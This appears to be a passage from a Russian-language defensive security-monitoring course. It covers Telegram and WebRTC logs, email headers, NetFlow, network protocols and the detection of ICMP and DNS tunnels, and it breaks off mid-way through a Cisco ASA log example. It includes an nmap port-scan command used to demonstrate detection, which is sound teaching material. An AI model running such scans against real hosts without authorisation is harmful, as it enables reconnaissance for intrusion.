[2024.01.22 13:22:02] Connecting local socket to /tmp/7cf2fc74b790e21d12eb2abd54c62016-{87A94AB0-E370-4cde-98D3-ACC110C5967D}... [2024.01.22 13:22:02] This is the only instance of Telegram, starting server and app... [2024.01.22 13:22:02] Moved logging from '/Users/USERNAME/Library/Application Support/Telegram Desktop/log_start0.txt' to '/Users/USERNAME/Library/Application Support/Telegram Desktop/log.txt'! [2024.01.22 13:22:02] Global devicePixelRatio: 2 [2024.01.22 13:22:02] Primary screen DPI: 72, Base: 72. [2024.01.22 13:22:02] Computed screen scale: 100 [2024.01.22 13:22:02] DevicePixelRatio: 2 [2024.01.22 13:22:02] ScreenScale: 110 [2024.01.22 13:22:02] Font: from ':/gui/fonts/DAOpenSansRegular.ttf' loaded 'DAOpenSansRegular' [2024.01.22 13:22:02] Font: from ':/gui/fonts/DAVazirRegular.ttf' loaded 'DAVazirRegular' [2024.01.22 13:22:02] Font: from ':/gui/fonts/DAOpenSansRegularItalic.ttf' loaded 'DAOpenSansRegularItalic' ... [2024.01.22 14:18:25] Could not send ping for some seconds, restarting... [2024.01.22 14:23:36] Audio Info: -receiveWakeNote: received, scheduling detach from audio device [2024.01.22 14:33:00] Audio Info: recreating audio device and reattaching the tracks [2024.01.22 14:33:02] Audio Info: Closing audio playback device. [2024.01.22 14:36:19] API Warning: not loaded minimal channel applied. [2024.01.22 14:36:47] Audio Info: recreating audio device and reattaching the tracks [2024.01.22 14:36:49] Audio Info: Closing audio playback device. [2024.01.22 14:53:01] Message Info: bad message notification received (error_code 16) for msg_id = 7326916857930079324, seq_no = 1378 [2024.01.22 14:53:01] Message Info: bad message notification received (error_code 16) for msg_id = 7326916858150819740, seq_no = 1378 ``` С точки зрения безопасности в этих логах могут быть полезными следующие сообщения: Версия приложения: Launched version: 4014009, install beta: \[FALSE\], alpha: 0, debug mode: \[FALSE\]. Является ли включенным/выключенным debug mode: Launched version: 4014009, install beta: \[FALSE\], alpha: 0, debug mode: \[FALSE\]. Рабочая директория: Working dir: /Users/USERNAME/Library/Application Support/Telegram Desktop/. Также могут быть полезны сообщения Message Info — в рамках рассмотрения логов по умолчанию, эти сообщения содержат коды ошибок (error\_code), которые связаны с определенным msg\_id, где msg\_id — это уникальный идентификатор сообщения или контейнера (контейнеры представляют собой сообщения, содержащие несколько других сообщений и используются для возможности передачи нескольких запросов RPC и/или служебных сообщений одновременно). Варианты error\_code: 16: msg\_id слишком низкий (скорее всего ошибка связана с неверным временем клиента, нужно синхронизировать его с использованием уведомлений msg\_id и переслать сообщение с "правильным" msg\_id или упаковать его в контейнер с новым msg\_id, если исходное сообщение слишком долго ожидалось на клиенте для передачи); 17: msg\_id слишком высокий (аналогично предыдущему случаю необходима синхронизация времени клиента, и сообщение должно быть перенаправлено с правильным msg\_id); 18: неверные два последних бита msg\_id (сервер ожидает, чтобы msg\_id клиентского сообщения делился на 4); 19: msg\_id контейнера совпадает с msg\_id ранее полученного сообщения (это никогда не должно происходить); 20: сообщение слишком старое, и нельзя проверить было ли сервером получено сообщение с этим msg\_id или нет; 32: msg\_seqno слишком низкий (сервер уже получил сообщение с более низким msg\_id, но с более высоким или равным и нечетным seqno); 33: msg\_seqno слишком высокий (аналогично, есть сообщение с более высоким msg\_id, но с более низким или равным и нечетным seqno); 34: ожидается четный msg\_seqno (несущественное сообщение), но получено нечетное; 35: ожидается нечетный msg\_seqno (существенное сообщение), но получено четное. **Журнал MTP** Так же, как и расширенные логи, логи MTP записываются в файлы каждые 15 минут, названия файлов логов имеют структуру mtp\_HH\_MM.txt, где: HH - час в 24-часовом формате; MM - минуты в интервалах 15 минут. Например: mtp\_14\_15.txt, mtp\_14\_30.txt. **Журнал last\_call\_log** Файл содержит информацию о последнем совершенном аудио/видео звонке. Логи предоставляют информацию о запуске и конфигурации WebRTC (Web Real-Time Communication) в приложении. В контексте информационной безопасности эти логи могут быть полезными для следующих аспектов: 1. Криптография. В логах видно создание ключевых пар и сертификатов для шифрования данных с использованием OpenSSL. 2. Сетевая активность. Логи содержат информацию о портах и сетевых настройках, таких как IP-адреса и использование сетей. Это может быть полезно для отслеживания и анализа сетевой активности приложения. 3. Протоколы и передача данных. Протоколы и механизмы передачи данных, такие как DTLS (Datagram Transport Layer Security) и SRTP (Secure Real-time Transport Protocol), указываются в логах. Это важно для понимания, как происходит обеспечение безопасности данных в реальном времени. 4. Отладка и анализ ошибок. Логи содержат информацию о возможных ошибках, отладочные сообщения и стеки вызовов. Это может помочь в обнаружении и решении проблем, связанных с аудио- и видеокоммуникациями. 5. Информация о сети. Логи отображают сетевые параметры, такие как тип сети, стоимость соединения, а также IP-адреса и порты. Это полезная информация для оценки стабильности и производительности сети. С точки зрения информационной безопасности важно следить за корректностью настроек шифрования, обеспечивать правильное управление ключами, а также мониторить сетевую активность для выявления потенциальных угроз или несанкционированной активности. Логи также могут быть использованы для анализа событий в случае инцидентов безопасности. 1. Установка параметров эксперимента WebRTC: ``` ```swift Setting field trial string:WebRTC-DataChannel-Dcsctp/Enabled/WebRTC-Audio-MinimizeResamplingOnMobile/Enabled/WebRTC-Audio-iOS-Holding/Enabled/WebRTC-IceFieldTrials/skip_relay_to_non_relay_connections:true/ ``` ``` Здесь указана строка параметров для WebRTC, включающая различные опции для аудио и ICE (Interactive Connectivity Establishment). 2. Настройка аудио-устройства: ``` ```css AudioDeviceBuffer::ctor SetRecordingSampleRate(48000) SetRecordingChannels(1) ``` ``` Происходит инициализация и настройка параметров аудио-устройства, включая частоту дискретизации и количество каналов. 3. Создание ключевых пар и сертификата с использованием OpenSSL: ``` ```cpp Making key pair Returning key pair Making certificate for WebRTC Returning certificate ``` ``` Записи связаны с генерацией ключевых пар и сертификата с использованием OpenSSL для обеспечения безопасности. 4. Информация о подключенных модулях обработки аудио: ``` ```yaml Injected APM submodules... Denormal disabler: supported ``` ``` Указываются внедренные модули обработки аудио и их параметры, такие как поддержка Denormal disabler. 5. Настройка параметров сети и ICE: ``` ```vbnet Set continual_gathering_policy to 1 Set backup connection ping interval to 25000 milliseconds. Set ICE receiving timeout to 2500 milliseconds ``` ``` Установка параметров сети и ICE (Interactive Connectivity Establishment) для обеспечения стабильности и надежности подключения. 6. Настройка параметров шифрования: ``` ```csharp Setting RTCP Transport on null transport 0 Setting RTP Transport on null transport 0 ``` ``` Установка параметров транспорта для RTCP и RTP, связанных с безопасностью и шифрованием. 7. Информация о параметрах обработки звука и аудиопроцессинге: ``` ```cpp WebRtcVoiceEngine::ApplyOptions: AudioOptions... AudioProcessing::ApplyConfig: AudioProcessing::Config{... ``` ``` Указываются параметры аудиопроцессинга, такие как управление эхом, уровень шума, фильтры высоких частот и др. 8. Информация о сетевой активности и портах: ``` ```ruby Start getting ports with turn_port_prune_policy 0 Port[ac5d5800::1:0:local:Net[en0:192.168.1.x/24:Unknown:id=1]]: Port created with network cost 50 ``` ``` Указываются действия по получению портов, инициализация порта сети и соответствующая сетевая информация. **Поведенческий анализ в почтовых приложениях** **Заголовки почтовых сообщений** Почтовые сообщения содержат различные заголовки, которые предоставляют информацию о различных аспектах сообщения. Вот некоторые из основных заголовков электронных писем:
ЗаголовокОписание
From (От)Адрес электронной почты отправителя и его имя
To (Кому)Содержит адрес(а) электронной почты получателя(ей)
Subject (Тема)Тема письма
Date (Дата)Дата и время отправки сообщения. Обычно, это значение генерируется почтовым сервером отправителя.
Message-ID (Идентификатор сообщения)Уникальный идентификатор, присвоенный каждому сообщению. Используется для уникальной идентификации конкретного письма.
MIME-VersionУказывает версию стандарта MIME (Multipurpose Internet Mail Extensions), который определяет формат сообщения и поддерживает отправку не только текстовых данных, но и изображений, аудио, видео и других типов файлов.
Content-Type (Тип контента)Определяет тип содержимого сообщения (текст, изображение, аудио и т.д.) и его подтип.
Content-Disposition (Расположение содержимого)Определяет, каким образом содержимое должно быть отображено или обработано (например, встроено в сообщение или вложено как файл).
Received (Получено)Этот заголовок создается каждым промежуточным почтовым сервером, через который проходит сообщение. Он содержит информацию о времени и месте обработки сообщения, а также идентификатор сервера.
References (Ссылки)Используется для связи с другими сообщениями в цепочке.
In-Reply-To (В ответ на)Указывает на сообщение, на которое отвечает текущее.
Return-Path (Обратный путь)Содержит адрес, на который возвращаются недоставленные сообщения.
Помимо стандартных заголовков существуют кастомные заголовки, или x-headers. X-headers (или расширенные заголовки) в почтовых письмах представляют собой дополнительные заголовки, начинающиеся с "X-" и используемые для включения дополнительной информации в сообщение. Эти заголовки могут быть добавлены почтовыми серверами, клиентами электронной почты или другими почтовыми агентами с целью предоставить дополнительные метаданные или сведения, которые не входят в стандартные заголовки электронных писем. Примеры X-headers могут включать в себя:
Заголовок Описание
X-Spam-StatusЭтот заголовок может предоставить информацию о том, было ли сообщение отмечено как спам, и включать дополнительные детали о результатах анализа спам-фильтров.
X-MailerУказывает на почтовый клиент или программное обеспечение, использованное для отправки письма. Этот заголовок может быть полезен для анализа, какие клиенты чаще всего используются отправителями.
X-PriorityУстанавливает приоритет сообщения. Это может использоваться для определения, насколько важным отправитель считает своё сообщение.
X-MS-Exchange-Organization-AuthSourceЭтот заголовок используется в Microsoft Exchange для указания источника аутентификации, когда отправитель представляется системе.
X-OriginalArrivalTimeВ Microsoft Exchange этот заголовок содержит информацию о времени прибытия сообщения на сервер.
X-Forwarded-ForИспользуется в сетях, где сообщение проходит через промежуточные серверы, чтобы указать список IP-адресов, через которые оно прошло.
X-Originating-IPСодержит IP-адрес отправителя. Этот заголовок может быть использован для идентификации возможного источника письма.
X-AntiAbuseМожет содержать информацию о действиях, предпринятых системой для предотвращения злоупотреблений.
X-headers не являются стандартными и могут различаться в зависимости от почтового сервера или клиента электронной почты. Некоторые из них могут быть полезными для анализа и фильтрации сообщений, в то время как другие могут использоваться для внутренних целей или же могут быть добавлены сторонними службами для слежения за потоком сообщений. Администраторы систем электронной почты, разработчики и аналитики могут использовать X-headers для отслеживания и анализа трафика электронной почты, но их присутствие или отсутствие обычно не влияет на отображение письма в клиенте электронной почты для конечного пользователя. **Почтовые логи, которые можно проанализировать** Получение почты (SMTP-логи): - Записи о входящих соединениях с другими почтовыми серверами. - Информация о отправителях и получателях электронных писем. - Данные о передаче электронных писем между серверами. Отправка почты (SMTP-логи): - Информация о исходящих соединениях с почтовыми серверами. - Детали отправляемых писем, такие как отправитель, получатель, время отправки. - Доставка почты (POP/IMAP-логи) Фильтрация и обработка спама (спам-логи): - Журналы обнаружения и блокировки потенциально нежелательной почты. - Информация о действиях антиспам-фильтров. Аутентификация и безопасность (логи безопасности): - Записи об успешных и неудачных попытках входа в почтовый ящик. - Информация о попытках аутентификации и блокировках при нарушении правил безопасности. Журналы ошибок (error logs): - Информация о любых ошибках, происходящих на сервере. - Ошибки доставки писем или сбои в работе почтовой системы. Журналы производительности (performance logs): - Данные о загрузке сервера и производительности. - Статистика использования ресурсов, таких как процессор, память и дисковое пространство. Журналы обновлений и конфигурации: - Записи об изменениях в конфигурации почтового сервера. - Информация об обновлениях программного обеспечения. # Анализ NetFlow Выявляет необычные паттерны трафика, которые могут указывать на вредоносную активность. Дамп трафика содержит более детальную информацию, которая может быть проанализирована для выявления конкретных векторов атак и методов, используемых злоумышленниками. Техника направлена на более глубокое понимание сетевой активности для предотвращения атак. **Анализ сетевого трафика** Для выявления аномалий необходимо иметь возможность составить набор из типичного трафика, который в итоге образует так называемый "базовый уровень", на фоне которого будут определяться аномалии. Базовый уровень — набор временных данных, который используется для сравнения с новыми данными с целью выявления аномалий или аномальных паттернов. Злоумышленники скрывают присутствие в инфраструктуре. В трафике это видно как аномальное поведение. В каких случаях используют анализ сетевого трафика: - Сбор трафика в реальном времени для выявления угроз (сигнатурный анализ, правила корреляции). - Фиксация обычных для инфраструктуры внутренних взаимодействий в сети. - Идентификация и анализ трафика на нестандартных портах и/или новых в сети хостах. - Обнаружение проблем в сети или в веб-приложениях. - Обнаружение ВПО. - Активный поиск угроз (Threat hunting). Например, всплеск SYN-пакетов, отправленных на множество различных портов — это с огромной вероятностью будет свидетельствовать о вертикальном сканировании. TCP: Механизм тройного рукопожатия в TCP Тройное рукопожатие используется в TCP для установления соединения между двумя хостами (клиентом и сервером): 1. Отправка запроса на соединение (SYN): Когда клиенту нужно установить соединение с сервером, он отправляет пакет с флагом SYN (synchronize) серверу 2. Подтверждение запроса и отправка запроса на соединение обратно (SYN-ACK): Сервер, получив пакет с флагом SYN, отвечает на него, устанавливая флаги SYN и ACK (acknowledgment). Флаг ACK указывает, что сервер получил пакет SYN от клиента. Этот пакет с флагами SYN и ACK отправляется обратно клиенту 3. Подтверждение ответа сервера (ACK): Клиент, получив пакет с флагами SYN и ACK от сервера, отправляет ответный пакет с флагом ACK. Этот пакет подтверждает, что клиент успешно получил подтверждение от сервера. После завершения этой процедуры обе стороны могут начать обмен данными. Теперь соединение установлено и готово к передаче информации в обоих направлениях. Нормальным окончанием сессии считается ситуация, когда клиент и сервер обмениваются пакетами с флагами FIN и ACK. Одна сторона отправляет FIN, вторая ответом отправляет ACK и FIN, вторая отправляет ACK. О "ненормальном" закрытии сессии свидетельствуют пакеты с флагами RST (reset).Пакет с флагом RST закрывает сессию, не дожидаясь обмена пакетами с флагом FIN между хостами. **Методы HTTP** Для выполнения операций вроде загрузки страницы, запроса о скачивании файла или публикации чего-либо на сайт используются определенные методы. Эти методы определяют действия, совершаемые при запросе URI. Методы GET и HEAD всегда должны работать в стандартной имплементации HTTP. Другие методы являются опциональными функциями, которые может разрешить владелец ресурса. Примером этого может быть доступная только для чтения страница вроде поста в блоге. Клиент может запросить от нее ресурсы и данные, но не способен модифицировать, добавлять или удалять их. Методы: - **GET** — наиболее распространенный метод, запрашивающий информацию и контент с сервера. Например, GET http://10.1.1.1/Webserver/index.html затребует страницу index.html с сервера согласно представленному URI. - **HEAD** — безопасный метод, требующий от сервера ответа схожего с запросом GET но без включения тела сообщения. Метод помогает получить информацию о сервере и его статусе. - **POST** — способ отправить информацию на сервер, основываясь на заполненных полях в запросе. Например, отправление сообщения в Facebook или на форуме сайта это действие POST. Конкретное действие может отличаться в зависимости от сервера и поэтому следует обращать внимание на ответные коды подтверждения. - **PUT** — метод использует приложенные к сообщению данные и помещает их по запрошенному URI. Если такого предмета еще не существует, то он будет создан из приложенных данных. Если он уже существует, то новый PUT будет считаться обновлением и предмет будет модифицирован соответствующим образом. Наиболее просто иллюстрирует различие между PUT и POST следующее: PUT создает или обновляет объект по указанному URI, в то время как POST создает дочерние сущности по соответствующему URI. Его можно также сравнить с разницей между созданием нового файла и комментарием, оставленным на странице с файлом. - **DELETE** — удаляет предмет по указанному URI. - **TRACE** — позволяет произвести удаленную диагностику сервера. При использовании метода TRACE удаленный сервер ответит тем же запросом, который был ему отправлен. - **OPTIONS** - метод, позволяющий собрать информацию о поддерживаемых сервером методах HTTP. Таким образом мы можем определить требования к взаимодействую с определенным ресурсом или сервером без собственно запросов от него объектов или данных. - **CONNECT** - метод, отведенный для использования с прокси и другими инструментами безопасности вроде межсетевых экранов. CONNECT позволяет туннелировать через HTTP (SSL туннели). **Коды ответа HTTP** Коды ответа HTTP (HTTP status codes) представляют собой числовые значения, которые отправляются сервером в ответ на запрос клиента. Эти коды позволяют клиентским приложениям понимать результат запроса и принимать соответствующие действия. Коды ответа HTTP делятся на пять основных классов:
1xx (Informational): используются для информационных сообщений 100 Continue: Сервер готов продолжить выполнение запроса клиента после того, как клиент отправит заголовок Expect. 101 Switching Protocols: Сервер согласен изменить протоколы по запросу клиента.
2xx (Successful): сообщают об успешном выполнении запроса клиента 200 OK: Запрос успешно выполнен. 201 Created: Запрос успешно выполнен, и ресурс был создан. 204 No Content: Запрос успешно выполнен, но в ответе нет содержимого.
3xx (Redirection): указывают, что клиент должен выполнить дополнительные действия для завершения запроса 301 Moved Permanently: Ресурс перемещен по новому URL и клиент должен использовать новый URL для всех последующих запросов. 302 Found (or Moved Temporarily): Ресурс временно перемещен. Клиент должен использовать новый URL, но старый URL может быть в будущем восстановлен. 304 Not Modified: Ресурс не изменился с момента последнего запроса клиента. Клиент может использовать кэшированную версию ресурса.
4xx (Client Error): Ошибки на стороне клиента. 400 Bad Request: Некорректный запрос со стороны клиента. 401 Unauthorized: Клиент не авторизован и требуется аутентификация. 403 Forbidden: Клиенту запрещен доступ к запрашиваемому ресурсу. 404 Not Found: Запрашиваемый ресурс не найден на сервере.
5xx (Server Error): Ошибки на стороне сервера. 500 Internal Server Error: Общая ошибка сервера. Этот код возвращается, если сервер не может определить природу ошибки. 502 Bad Gateway: Сервер, выступая в роли шлюза или прокси, получил недопустимый ответ от верхнего уровня сервера. 503 Service Unavailable: Сервер временно не может обрабатывать запросы. Это может быть из-за перегрузки сервера или его технических проблем.
**Заголовки HTTP** Заголовки содержат ключевую информацию о данных, которые передаются, формате сообщения, авторизации, кэшировании и других аспектах HTTP-протокола. Рассмотрим некоторые распространенные заголовки HTTP: 1. Общие заголовки (Common Headers): - Cache-Control: Управляет кэшированием, указывая, должны ли данные кэшироваться и как долго. - Date: Содержит дату и время, когда сообщение было отправлено. - Connection: Управляет соединением между клиентом и сервером, указывая, должно ли соединение быть закрытым после завершения запроса/ответа. 2. Заголовки запроса (Request Headers): - Host: Содержит доменное имя сервера и порт, к которому выполняется запрос. - User-Agent: Идентифицирует программное обеспечение, инициировавшее запрос (например, браузер или мобильное приложение). - Accept: Указывает типы медиа-ресурсов, которые клиент может принимать. - Authorization: Используется для передачи информации об аутентификации для доступа к защищенным ресурсам. 3. Заголовки ответа (Response Headers): - Location: Используется для перенаправления клиента на другой ресурс или URL. - Server: Содержит информацию о веб-сервере, который обрабатывает запрос. - Content-Type: Указывает тип медиа-ресурса в теле ответа (например, текст, изображение, JSON и т. д.). - Set-Cookie: Устанавливает куки на стороне клиента, позволяя серверу хранить информацию о состоянии сеанса. 4. Заголовки сущности (Entity Headers): - Content-Length: Указывает размер тела сообщения в октетах (байтах). - Content-Encoding: Указывает метод сжатия данных, используемый в теле сообщения. - Content-Disposition: Позволяет указать, должно ли содержимое быть отображено в браузере или загружено как файл. **TLS-рукопожатие** 1\. Приветствие (ClientHello): Процесс начинается с того, что клиент отправляет серверу сообщение ClientHello, в котором он указывает поддерживаемые криптографические алгоритмы и другие параметры. 2\. Ответ сервера (ServerHello): Сервер выбирает подходящие параметры из списка, предложенного клиентом, и отправляет сообщение ServerHello в ответ. Это сообщение также включает в себя сертификат сервера, который клиент может использовать для проверки подлинности сервера. 3\. Аутентификация сервера (Server Certificate): Сервер отправляет свой цифровой сертификат клиенту, который содержит публичный ключ сервера и информацию о сертификационном центре, который подписал сертификат. 4\. Аутентификация клиента (Optional Client Certificate): Если сервер требует аутентификацию клиента, он может запросить клиентский сертификат. Клиент отправляет свой сертификат серверу, который также содержит публичный ключ клиента. 5\. Обмен ключами (Key Exchange): Клиент и сервер обмениваются ключами для шифрования и расшифрования данных. Это может включать в себя процесс Diffie-Hellman обмена ключами или использование предварительно распределенных ключей (Pre-Shared Key) в случае TLS 1.3. 6\. Завершение рукопожатия (Finished): После установки ключей и параметров шифрования, клиент и сервер отправляют Finished сообщения друг другу для подтверждения, что рукопожатие завершено успешно. 7\. После завершения TLS рукопожатия оба конца соединения могут безопасно обмениваться данными, которые автоматически шифруются и расшифровываются с использованием установленных ключей. **SNI** SNI (Server Name Indication) — это расширение протокола TLS. SNI позволяет клиентскому устройству указывать серверу, с каким конкретным доменным именем оно хочет установить защищенное TLS-соединение. Это особенно важно в сценариях виртуального хостинга, где на одном сервере размещаются несколько веб-сайтов с разными доменными именами. Анализ SNI в HTTPS трафике проводится для следующих целей: - определение, к каким конкретным ресурсам обращается хост; - управление доступом к ресурсам в зависимости от запрошенных доменных имен; - обнаружение вредоносных или подозрительных доменных имен. **Протоколы прикладного уровня** **FTP** FTP по своей сути является небезопасным протоколом и большинство пользователей для передачи данных через безопасный канал используют такие инструменты как SFTP. FTP использует сразу несколько портов одновременно. FTP использует порты 20 и 21 TCP. Порт 20 используется для передачи данных, порт 21 используется для исполнения управляющих FTP-сессией команд. FTP может работать в двух режимах. Активный это обычный операционный метод FTP, означающий что сервер ожидает от клиента контрольной команды PORT, заявляющей используемый для передачи данных порт. Пассивный режим открывает доступ к FTP-серверам, находящимся за межсетевым экраном или запрещающим прямое TCP-подключение NAT. В таком случае клиент посылает команду PASV и ждет отклика сервера, информирующего клиента о используемых для передачи данных IP и порте. Команды, использующие порт 21: - USER указывает на логин пользователя; - PASS отправляет пароль пытающегося залогиниться пользователя; - PORT в активном режиме изменяет используемый данными порт; - LIST отображает список файлов в текущей директории; - CWD изменяет текущую рабочую директорию на указанную; - SIZE возвращает размер указанного файла; - RETR скачивает файл с FTP-сервера; - QUIT заканчивает сессию. **SMB** SMB (Server Message Block) используется для обмена файлами, принтерами, портами и другими ресурсами, чаще всего используется Microsoft Windows. SMB ориентирован на соединение протоколом, требует аутентификации пользователя от хоста к ресурсу для подтверждения допуска. В прошлом SMB использовал в качестве транспортного механизма NetBIOS через порты UDP 137 и 138. После современных изменений SMB также поддерживает прямой TCP-транспорт через порт 445, NetBIOS через TCP порт 139 и даже протокол QUIC. Большое количество повторяющихся неуспешных логинов может означать о попытке получить доступ к аккаунту пользователя или использовать его права. Это распространенная тактика, использующая украденные у аутентифицированного пользователя учетные данные и права для горизонтального перемещения по системе или получения доступа к ресурсам. **DNS** Протокол DNS (Domain Name System) отвечает за преобразование доменных имен (например, www.example.com) в IP-адреса, которые используются для обмена данными в сети. Записи DNS: A (Address) Record: Сопоставляет доменное имя с IPv4-адресом. AAAA (IPv6 Address) Record: Сопоставляет доменное имя с IPv6-адресом. CNAME (Canonical Name) Record: Устанавливает альтернативное доменное имя для существующего доменного имени. MX (Mail Exchange) Record: Указывает почтовый сервер, который обрабатывает почтовые сообщения для доменного имени. NS (Name Server) Record: Определяет DNS-серверы, ответственные за зону доменного имени. PTR (Pointer) Record: Используется для обратного разрешения и сопоставляет IP-адрес с доменным именем. TXT (Text) Record: Позволяет добавить произвольный текст к записи DNS. **ICMP-туннель** — это метод, используемый злоумышленниками для передачи данных через сеть, используя ICMP-пакеты вместо стандартных данных. Туннелирование помогает обойти правила IDS/IPS и/или межсетевых экранов, так как трафик конкретного приложения (например, ssh) передается под видом ICMP пакетов. **Детектирование ICMP-туннелей:** - Мониторинг сетевого трафика и поиск необычных или больших объемов ICMP-пакетов может помочь выявить использование ICMP-туннелей. - Использование IDS/IPS/NTA для выявления аномалий в трафике, включая необычные или слишком частые запросы ICMP, может быть полезным инструментом для обнаружения таких атак. - Анализ содержимого ICMP-пакетов, включая данные и структуру, может помочь выявить ICMP-туннелирование. Это может быть сделано с использованием специализированных инструментов и программных средств анализа сети типа NTA. **Детектирование DNS-туннелей:** - Анализ трафика: трафик DNS-туннелей на первый взгляд будет мало отличаться от обычного DNS трафика, особенно если у нас нет информации о конкретном хосте, и трафик снимался просто по 53 порту - на фоне обычного трафика туннель может "потеряться" из вида, но зная методы обнаружения DNS-туннелей, их будет возможно обнаружить в дампе. - Обнаружение аномалий в трафике: существуют сигнатуры IDS/IPS для детектирования туннелей, они могут быть полезным инструментом для обнаружения DNS-туннелирования. - Мониторинг DNS-логов: Мониторинг и анализ DNS-логов может помочь выявить необычные запросы и ответы, которые могут свидетельствовать о DNS-туннелировании. **NetFlow** Разработана Cisco для мониторинга и сбора статистики сетевого трафика. NetFlow собирает информацию о трафике в виде потоков на уровне сетевого устройства. Каждое устройство, поддерживающее NetFlow, генерирует записи о трафике, содержащие информацию о переданных пакетах, объеме данных, источнике, назначении, протоколе и других параметрах. Собранные данные могут быть использованы для анализа трафика и выявления различных характеристик сетевой активности. Это может включать в себя определение причин задержек в сети, выявление аномалий в трафике, в том числе NetFlow позволяет обнаруживать вредоносный трафик - например, DDoS атаки и сканирования, а также многое другое. NetFlow включает в себя следующие компоненты: - **NetFlow exporter (сенсор)** — устройство, поддерживающее технологию NetFlow, например, маршрутизатор, работает в качестве сенсора и собирает информацию о трафике. Оно агрегирует пакеты данных в потоки и экспортирует записи NetFlow по протоколу UDP на один или несколько коллекторов NetFlow. Поток, распознаваемый сенсором, должен иметь по крайней мере один из следующих общих параметров: порт входного интерфейса, IP-адрес и порты источника, и назначения и протокол 3 уровня. Поток считается готовым для экспорта в NetFlow, когда он неактивен в течение заданного периода времени или когда флаг TCP (например, FIN или RST) указывает на завершение потока. - **NetFlow collector (коллектор)** — может быть на базе аппаратных или программных средств, однако программные средства используются более часто. Коллекторы NetFlow получают данные потоков от сенсоров, предварительно их обрабатывают и сохраняют в хранилище. - **NetFlow analyzer (анализатор)** — обрабатывает и анализирует потоки, полученные и сохраненные коллектором. Он преобразует данные в отчеты и алерты, предоставляя в них информацию о характеристиках трафика, которые могут выявлять угрозы безопасности и проблемы в трафике. NetFlow использует UDP или SCTP (Stream Control Transmission Protocol) для передачи данных от сенсора до коллектора. Как правило, коллектор слушает порты 2055, 9555 или 9995. Потоки содержат в себе следующие поля в зависимости от протокола 3 уровня: - номер версии протокола; - номер записи; - входящий и исходящий сетевой интерфейс; - время начала и конца потока; - количество байт и пакетов в потоке; - IP адрес источника и назначения; - порт источника и назначения; - номер протокола IP; - значение Type of Service; - флаги TCP-соединений; - адрес шлюза; - маски подсети источника и назначения. **Обнаружение сканирования портов с помощью NetFlow** Предположим, было запущено простое сканирование открытых портов с помощью сканера портов Nmap с аргументами ``` ```nginx nmap -Pn -sV 192.168.1.2 ``` ``` Рассмотрим как сканирование открытых портов будет журналировано и задетектировано с помощью решения NetFlowAnalyzer от ManageEngine (данное решение является коммерческим с возможностью использования в течении 30дневного пробного периода и выбран в целях демонстрации в рамках данного курса). Если посмотреть на скриншот ниже, то можно увидеть резкий всплеск сетевого трафика в 17:55 направленного на хост с IP-адресом 192.168.1.2. ![](https://ucarecdn.com/f3dffe7e-d5b5-489a-b8d1-732bf8c8499a/) На скришоте ниже видно количество входящих сетевых пакетов, которые в момент сканирования портов достигли значения 2116. ![](https://ucarecdn.com/eb72a4a8-f030-49b2-a990-0d7841190036/) Рассмотрим события из вкладки Security, в котором могут быть сработки сигнатур для выявления различных аномалий, где мы как раз видим алерты сигнатуры TCP Syn Port Scan с IP-адреса 192.168.1.8 нацеленного на IP-адрес 192.168.1.2, как раз в 17:55. ![](https://ucarecdn.com/83989e9f-bf2f-4be3-ac0e-6bd89873af57/) Если открыть алерт со сканированием, то можно увидеть входящие в него события, где уже видно какие порты были просканированы. ![](https://ucarecdn.com/4f28dce5-05b8-4305-9d6b-e74baad94c1e/) Если дополнительно проанализировать на атакуемом хосте c IP-адресом 192.168.1.2 журналирование событий Sysmon с EventID = 3 (Network Connection), то можно увидеть большое количество сетевых соединений с различными портами, что также констатирует об активности сканирования портов. ![](https://ucarecdn.com/59d45c04-bcf3-4067-afe1-0d0634f89fc1/) Отсюда можно сделать вывод, что для выявления сканирований различных портов на одном хосте, необходимо отслеживать пиковые исходящие активности от одного хоста инициатора и анализировать их. В качестве альтернативного решения для сбора, нормализации, визуализации и анализа NetFlow трафика может быть использован netflow модуль для [logstash](https://www.elastic.co/guide/en/logstash/current/netflow-module.html), который тоже поддерживает NetFlow 5 и 9 версии. На панели «Overview» размещена сводка основных данных о сетевом трафике, возможно настроить фильтры. ![](https://ucarecdn.com/4caeb5fc-d739-4a44-a04b-6ed3d23069bd/) На панели «Conversation Partners» IP-адреса отправителя, получателя и объем передаваемого трафика. ![](https://ucarecdn.com/3fad50d6-e737-4d5b-864e-8574a0ef9b90/) На панели **«Traffic Analysis»** можно более детально проанализировать объемы передаваемого трафика за конкретный временной период. ![](https://ucarecdn.com/8f8c6bf5-968b-49de-b5fb-45cbd44f3f98/) Затем можете перейти на панель **«Geo Location»**, где визуально посмотрите тепловую карту с потоком сетевого трафика. ![](https://ucarecdn.com/8363870f-142e-4b75-82d7-873fde8df8e8/) **Обнаружение подозрительной активности в событиях сетевых устройств** Сетевое оборудование и межсетевые экраны журналируют события сетевых соединений, действия в системе и изменения в собственных настройках в стандарте syslog. Но фиксация кажового события сетевого соединения часто невозможна на высоконагруженных сетях из-за большого объема событий, поэтому менее затратным, в плане дисковой подсистемы, является мониторинг статистики сетевых соединений NetFlow. **События сетевого устройства Cisco** Рассмотрим примеры событий с Cisco ASA, у которого подробная [документация](https://www.cisco.com/c/en/us/td/docs/security/firepower/Syslogs/b_fptd_syslog_guide/syslogs10.html) по описанию событий. В рамках начального курса не будем углубляться в детали настройки системы журналирования. При необходимости подробно можно ознакомиться с конфигурированием аудита на [сайте](https://www.cisco.com/c/en/us/td/docs/voice_ip_comm/cucm/admin/12_5_1SU4/cucm_b_administration-guide-1251su4/cucm_b_test-adminguide_chapter_010100.html) вендора. ``` ```yaml May  5 19:02:25 dev01: %ASA-3-113021: Attempted console login failed. User adm did NOT have appropriate Admin Rights. May  5 19:02:25 dev01: %ASA-6-716039: Authentication: rejected, group = lab user = adm , Session Type: admin May  5 19:02:25 dev01: %ASA-6-716039: Authentication: rejected, group = lab user = ivan , Session Type: WebVPN May  5 19:02:25 dev01: %ASA-6-716039: Group User IP <172.31.98.44> Authentication: rejected, Session Type: Admin. May  5 19:02:25 dev01: %ASA-6-716039: Group User IP <172.31.98.44> Authentication: rejected, Session Type: WebVPN. ``` ``` Если обратить внимание, то события Cisco имеют структуру, где: - `May  5 19:02:25` - месяц, день и время регистрации события; - `dev01` - наименование устройства, на котором зарегистрировано событие; - `%ASA-3-113021` - идентификатор события, описание события в [документации](https://www.cisco.com/c/en/us/td/docs/security/asa/syslog/b_syslog/syslogs1.html) вендора; - `Attempted console login failed. User eve did NOT have appropriate Admin Rights -` описание/тело события. ![](https://ucarecdn.com/575a5d9b-8dba-49e8-81bb-4ec1f67713bc/) Соответственно первое событие ``` ```erlang May  5 19:02:25 dev01: %ASA-3-113021: 